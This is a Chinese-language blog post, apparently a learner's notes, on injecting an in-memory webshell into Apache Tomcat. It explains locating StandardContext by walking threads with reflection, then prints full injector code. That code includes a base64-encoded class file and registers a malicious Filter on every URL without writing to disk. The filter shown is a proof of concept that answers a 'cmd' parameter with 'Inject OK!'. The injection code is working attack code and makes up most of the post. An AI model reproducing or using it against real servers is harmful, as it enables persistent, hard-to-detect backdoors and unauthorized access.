前言
和大哥们学新的姿势,感觉自己已经变成idea的性状了,这里的大哥说话又好听,我超喜欢这里的.jpg
以下是参考(抄袭)文章列表
怎么说呢,这几周玩了下java,大概也有点感觉了,打内存马就和win32寻址一样。
首先先解决在哪里打,也就是获取上下文standardContext
,在栈上寻址找到这个地址,哦不对,在java中应该叫做对象。
然后再基于这个对象派生,找到管理filter的这些列表,正常程序流程访问网页肯定是先检查一个filter列表,看看是否匹配,匹配就丢给filter处理,然后filter处理完再往下丢给servlet/controller这些处理。我们要做的就是找到那个filter列表的地址,然后想办法把我们的内存马加进去
怎么加呢?那肯定就是得先找到注册函数,把我们内存马注册成一个filter,依旧是从栈上派生出来,还是一个寻址问题。总体感觉jvav大差不差,还是能理解的。
当然,理解是一回事,真的要我写一套完整项目,那就是另一回事了.jpg
注意点
线程加载问题 {#toc_0}
加载Filter Class的时候,不能用系统ClassLoader,得用当前线程的Loader,不然会报找不到org.servlet.Filter
Method defineClass =
ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class);defineClass.setAccessible(true);
byte[] code = {};
Class filter = (Class)defineClass.invoke(Thread.currentThread().getContextClassLoader(),code,0,code.length);
Object testFilter = filter.newInstance();
得用Thread.currentThread().getContextClassLoader()
,不能用ClassLoader.getSystemClassLoader()
,MD就被这个坑了一天。
同样还是线程加载问题 {#toc_1}
如果类似注入点的地方获取不到线程,或者是由其他线程创建的,比如如果在tomcat的Servlet中用ClassLoader.getSystemClassLoader()
加载class(没错我就是这么干的),可以考虑用反射
Class<?> FilterDefClass =
Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterDef");
Object filterDef = FilterDefClass.newInstance();
的方式强行加载,虽然没啥用。。但是之前被卡在线程那里太久了导致我把这些加载不到的都换成了
完整代码
运行流程,东抄抄西抄抄,先从利用shiro反序列化注入冰蝎内存马把Tomcat678
抄出来,然后再从tomcat6、7、8、9内存马
把注入流程抄出来,然后缝合一下,就好了
先把Filter代码打包成class
package com;
import java.io.IOException; import java.lang.reflect.InvocationTargetException; import javax.servlet.*;
public class testFilter implements Filter{ public testFilter() { }
@Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException { if (servletRequest.getParameter("cmd") != null){ servletResponse.getWriter().write("Inject OK!"); } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { }
}
然后编译注入器代码
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Iterator; import java.util.Properties;
public class TomcatMemShellInject { String uri; String serverName; Object standardContext;
public static byte[] base64Decode(String str) throws Exception { Class clazz; try { clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception var3) { clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } private final static String filterName = "TomcatMemShellInject"; public byte[] getContent(String filePath) throws IOException { File file = new File(filePath); long fileSize = file.length(); if (fileSize > Integer.MAX_VALUE) { System.out.println("file too big..."); return null; } FileInputStream fi = new FileInputStream(file); byte[] buffer = new byte[(int) fileSize]; int offset = 0; int numRead = 0; while (offset < buffer.length && (numRead = fi.read(buffer, offset, buffer.length - offset)) >= 0) { offset += numRead; } // 确保所有数据均被读取 if (offset != buffer.length) { throw new IOException("Could not completely read file " + file.getName()); } fi.close(); return buffer; } public TomcatMemShellInject() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException, ClassNotFoundException, IOException { Tomcat678(); try { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); String result = "yv66vgAAADIATAoADAAoCQApACoIABsKACsALAgALQsALgAvCwAwADEIADIKADMANAsANQA2BwA3BwA4BwA5AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL3Rlc3RGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAOgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAkdGVzdEZpbHRlci5qYXZhIGZyb20gSW5wdXRGaWxlT2JqZWN0DAAOAA8HADwMAD0APgcAPwwAQABBAQADY21kBwBCDABDAEQHAEUMAEYARwEACkluamVjdCBPSyEHAEgMAEkAQQcASgwAGwBLAQAOY29tL3Rlc3RGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4BAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWACEACwAMAAEADQAAAAQAAQAOAA8AAQAQAAAAMwABAAEAAAAFKrcAAbEAAAACABEAAAAKAAIAAAAJAAQACgASAAAADAABAAAABQATABQAAAABABUAFgACABAAAAA1AAAAAgAAAAGxAAAAAgARAAAABgABAAAADwASAAAAFgACAAAAAQATABQAAAAAAAEAFwAYAAEAGQAAAAQAAQAaAAEAGwAcAAIAEAAAAI0AAwAEAAAAKLIAAhIDtgAEKxIFuQAGAgDGAA8suQAHAQASCLYACbEtKyy5AAoDALEAAAADABEAAAAaAAYAAAATAAgAFAATABUAHgAWAB8AGAAnABkAEgAAACoABAAAACgAEwAUAAAAAAAoAB0AHgABAAAAKAAfACAAAgAAACgAIQAiAAMAIwAAAAMAAR8AGQAAAAYAAgAaACQAAQAlAA8AAQAQAAAAKwAAAAEAAAABsQAAAAIAEQAAAAYAAQAAABwAEgAAAAwAAQAAAAEAEwAUAAAAAQAmAAAAAgAn"; byte[] code = base64Decode(result); ; Class filter = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), code, 0, code.length); Object testFilter = filter.newInstance(); Class<?> FilterDefClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterDef"); Object filterDef = FilterDefClass.newInstance(); FilterDefClass.getMethod("setFilterName", String.class).invoke(filterDef, filterName); Method addFilterDef = standardContext.getClass().getMethod("addFilterDef", FilterDefClass); addFilterDef.invoke(standardContext, filterDef); filterDef.getClass().getMethod("setFilterClass", String.class).invoke(filterDef, testFilter.getClass().getName()); Class<?> FilterMapClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterMap"); Object filterMap = FilterMapClass.getConstructor(new Class[]{}).newInstance(); String setFilterName = (String) FilterDefClass.getMethod("getFilterName").invoke(filterDef); FilterMapClass.getMethod("setFilterName", String.class).invoke(filterMap, setFilterName); FilterMapClass.getMethod("setDispatcher", String.class).invoke(filterMap, "REQUEST"); FilterMapClass.getMethod("addURLPattern", String.class).invoke(filterMap, "/*"); Method addFilterMap = standardContext.getClass().getDeclaredMethod("addFilterMap", FilterMapClass); addFilterMap.invoke(standardContext, filterMap); Object tmpFilterDef = FilterDefClass.newInstance(); FilterDefClass.getMethod("setFilterClass", String.class).invoke(tmpFilterDef, "org.apache.catalina.ssi.SSIFilter"); FilterDefClass.getMethod("setFilterName", String.class).invoke(tmpFilterDef, filterName); Class<?> ContextClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Context"); Class<?> applicationFilterConfigClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> applicationFilterConfigConstructor = applicationFilterConfigClass.getDeclaredConstructor(ContextClass, FilterDefClass); applicationFilterConfigConstructor.setAccessible(true); Properties properties = new Properties(); properties.put("org.apache.catalina.ssi.SSIFilter", "123"); Field restrictedFiltersField = applicationFilterConfigClass.getDeclaredField("restrictedFilters"); restrictedFiltersField.setAccessible(true); restrictedFiltersField.set(null, properties); Object filterConfig = applicationFilterConfigConstructor.newInstance(standardContext, tmpFilterDef); Field filterField = filterConfig.getClass().getDeclaredField("filter"); filterField.setAccessible(true); filterField.set(filterConfig, testFilter); Field filterDefField = filterConfig.getClass().getDeclaredField("filterDef"); filterDefField.setAccessible(true); filterDefField.set(filterConfig, filterDef); Class<?> StandardContextClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.core.StandardContext"); Field filterConfigsField = StandardContextClass.getDeclaredField("filterConfigs"); filterConfigsField.setAccessible(true); HashMap filterConfigs = (HashMap) filterConfigsField.get(standardContext); filterConfigs.put(filterName, filterConfig); filterConfigsField.set(standardContext, filterConfigs); System.out.println("Inject OK"); } catch (NoSuchMethodException ex) { ex.printStackTrace(); } catch (IllegalAccessException ex) { ex.printStackTrace(); } catch (InvocationTargetException ex) { ex.printStackTrace(); } catch (InstantiationException ex) { ex.printStackTrace(); } catch (Exception e) { throw new RuntimeException(e); } } public Object getField(Object object, String fieldName) { Field declaredField; Class clazz = object.getClass(); while (clazz != Object.class) { try { declaredField = clazz.getDeclaredField(fieldName); declaredField.setAccessible(true); return declaredField.get(object); } catch (Exception e) { // field不存在,错误不抛出,测试时可以抛出 } clazz = clazz.getSuperclass(); } return null; } public void getStandardContext() { Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads"); Object object; for (Thread thread : threads) { if (thread == null) { continue; } // 过滤掉不相关的线程 if (!thread.getName().contains("StandardEngine")) { continue; } Object target = this.getField(thread, "target"); if (target == null) { continue; } HashMap children; try { children = (HashMap) getField(getField(target, "this$0"), "children"); //org.apache.catalina.core.StandardHost standardHost = (org.apache.catalina.core.StandardHost) children.get(this.serverName); children = (HashMap) getField(children.get(this.serverName), "children"); Iterator iterator = children.keySet().iterator(); while (iterator.hasNext()) { String contextKey = (String) iterator.next(); if (!(this.uri.startsWith(contextKey))) { continue; } // /spring_mvc/home/index startsWith /spring_mvc //StandardContext standardContext = children.get(contextKey); System.out.println(children.get(contextKey).getClass().getName()); this.standardContext = children.get(contextKey); System.out.println("here"); // 添加内存马 return; } } catch (Exception e) { continue; } if (children == null) { continue; } } } public void Tomcat678() { Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads"); Object object; for (Thread thread : threads) { if (thread == null) { continue; } if (thread.getName().contains("exec")) { continue; } Object target = this.getField(thread, "target"); if (!(target instanceof Runnable)) { continue; } try { object = getField(getField(getField(target, "this$0"), "handler"), "global"); } catch (Exception e) { continue; } if (object == null) { continue; } java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors"); Iterator iterator = processors.iterator(); while (iterator.hasNext()) { Object next = iterator.next(); Object req = getField(next, "req"); Object serverPort = getField(req, "serverPort"); if (serverPort.equals(-1)) { continue; } // 不是对应的请求时,serverPort = -1 System.out.println(getField(req, "serverNameMB").getClass().getName()); //org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB"); this.serverName = (String) getField(getField(req, "serverNameMB"), "strValue"); if (this.serverName == null) { this.serverName = getField(req, "serverNameMB").toString(); }
// if (this.serverName == null){ // this.serverName = serverNameMB.getString(); // }
//org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "decodedUriMB"); this.uri = (String) getField(getField(req, "decodedUriMB"), "strValue"); if (this.uri == null) { this.uri = getField(req, "decodedUriMB").toString(); }
// if (this.uri == null){ // this.uri = uriMB.getString(); // }
this.getStandardContext(); return; } } }
}